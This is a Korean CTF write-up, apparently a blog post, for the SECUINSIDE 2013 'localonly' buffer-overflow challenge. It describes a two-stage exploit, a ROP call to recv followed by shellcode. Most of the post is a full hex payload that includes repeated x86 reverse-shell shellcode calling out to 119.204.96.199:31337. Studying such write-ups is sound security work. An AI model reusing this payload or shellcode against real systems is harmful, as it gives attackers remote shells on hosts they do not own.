The criminals are at full open fire in the ravage.
We suggest broadcasting corporations, banks, high valued organizations to close every connection from outside their networks.
Especially to let important services like databases to allow access from localhost.
Please, double-check your security status.
IP : 54.214.247.89
OS : ubuntu 13.04 32bit / no NX / no ASLR
http://war.secuinside.com/files/localonly_ubuntu
IP : 218.54.30.174
OS : centos 6.4 32bit / no NX / no ASLR
http://war.secuinside.com/files/localonly
[hint]
FTPD : TCP 21
LOCALONLY : TCP 3132
아주 간단한 버퍼오버플로우가 아래처럼 존재하는 데몬이 주어지는데, 문제는
127.0.0.1 으로부터의 접속만 받는다.
bp-0x58h 의 스택버퍼에 아래처럼 0x400 을 recv 받는다.
ASLR, NX 도 없다고한다. 아주쉬운 BOF 상황이다.
그러나 스택주소는 모르기때문에 1번의 ROP 를 거쳐야한다.
리턴주소부터 BOF 페이로드를 아래처럼 구사하면 2차 페이로드를
정확한 스택위치에 받은다음 실행시킬수있다.
1차 페이로드
[&recv][ &buf ][ fd ][ &buf ][ size ][ 0 ]
2차 페이로드 -> size 크기만큼의 원하는 쉘코드!!
먼저 1차 페이로드에서 recv 가 0x400 만큼 받으므로 이에 맞춰서 최종 exploit 을 구성하면
아래와 같다. (BOF ~ 0x400 사이의 것들은 NOP sled + 쉘코드이다. 이는 recv 가 정확히
0x400 을 한번에 수신하는 보장이 없기때문에 넣어둔 것이다, 또한 처음의 71 00 은
곧바로 q 명령을 데몬에게 줘서 빨리 리턴하게 하기위한것)
참고로 fd 번호가 accept 후 바로 fork 한다음 parent 쪽에서 이를 곧바로
close 하기때문에, 왠만하면 fd 번호가 4번으로 지정될 것이다
(OS 의 file descriptor 정책에따라 다를수있지만 평범한 리눅스는 close 한 fd 로
금방 다시 accept 한다)
최종 버퍼오버플로우 리모트쉘 익스플로잇 은 아래와 같다
(119.204.96.199 / 31337)
(recv 한번 거치고 정확한 주소로 리턴)
71 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 70 87 04 08
00 C0 04 08 04 00 00 00 00 C0 04 08 00 01 00 00
00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 6A 66 58 99 31 DB 43 52 6A 01 6A 02
89 E1 CD 80 96 6A 66 58 43 68 77 CC 60 C7 66 68
7A 69 66 53 89 E1 6A 10 51 56 89 E1 43 CD 80 87
F3 87 CE 49 B0 3F CD 80 49 79 F9 B0 0B 52 68 2F
2F 73 68 68 2F 62 69 6E 89 E3 52 89 E2 53 89 E1
CD 80 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1
CD 80 96 6A 66 58 43 68 77 CC 60 C7 66 68 7A 69
66 53 89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87
CE 49 B0 3F CD 80 49 79 F9 B0 0B 52 68 2F 2F 73
68 68 2F 62 69 6E 89 E3 52 89 E2 53 89 E1 CD 80
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80
96 6A 66 58 43 68 77 CC 60 C7 66 68 7A 69 66 53
89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49
B0 3F CD 80 49 79 F9 B0 0B 52 68 2F 2F 73 68 68
2F 62 69 6E 89 E3 52 89 E2 53 89 E1 CD 80 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 6A 66
58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80 96 6A
66 58 43 68 77 CC 60 C7 66 68 7A 69 66 53 89 E1
6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49 B0 3F
CD 80 49 79 F9 B0 0B 52 68 2F 2F 73 68 68 2F 62
69 6E 89 E3 52 89 E2 53 89 E1 CD 80 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 6A 66 58 99
31 DB 43 52 6A 01 6A 02 89 E1 CD 80 96 6A 66 58
43 68 77 CC 60 C7 66 68 7A 69 66 53 89 E1 6A 10
51 56 89 E1 43 CD 80 87 F3 87 CE 49 B0 3F CD 80
49 79 F9 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E
89 E3 52 89 E2 53 89 E1 CD 80 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 6A 66 58 99 31 DB
43 52 6A 01 6A 02 89 E1 CD 80 96 6A 66 58 43 68
77 CC 60 C7 66 68 7A 69 66 53 89 E1 6A 10 51 56
89 E1 43 CD 80 87 F3 87 CE 49 B0 3F CD 80 49 79
F9 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3
52 89 E2 53 89 E1 CD 80 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80
96 6A 66 58 43 68 77 CC 60 C7 66 68 7A 69 66 53
89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49
B0 3F CD 80 49 79 F9 B0 0B 52 68 2F 2F 73 68 68
2F 62 69 6E 89 E3 52 89 E2 53 89 E1 CD 80
리모트쉘쪽.
분명히 시나리오는 맞았는데 이상하게 리모트쉘이 계속 안떳었다
fd 가 틀렸을 가능성때문에 약간 브루트포싱이 필요하긴 하지만
로컬 테스트환경에서는 3~4번하면 1번 성공할정도로 잘만되는데
대회서버에서는 너무 안터졌다...
원인불명이라 포기하려했는데 nopsled 를 추가하고 좀더 하다보니 쉘이 떳다 -_-
아직도 정확한 원인은 불명이다 -_-; recv 가 0x400 을 한번에 수신 못한것이
원인이 아닐까 싶다...
'Games > CTF' 카테고리의 다른 글
HDCON 2013 level1 (0) | 2013.06.11 |
---|---|
SECUINSIDE 2013 reader (0) | 2013.05.28 |
SECUINSIDE 2013 givemeshell (0) | 2013.05.28 |
PlaidCTF 2013 ropasaurusrex (5) | 2013.04.23 |
JFF2 Hunter (0) | 2013.03.19 |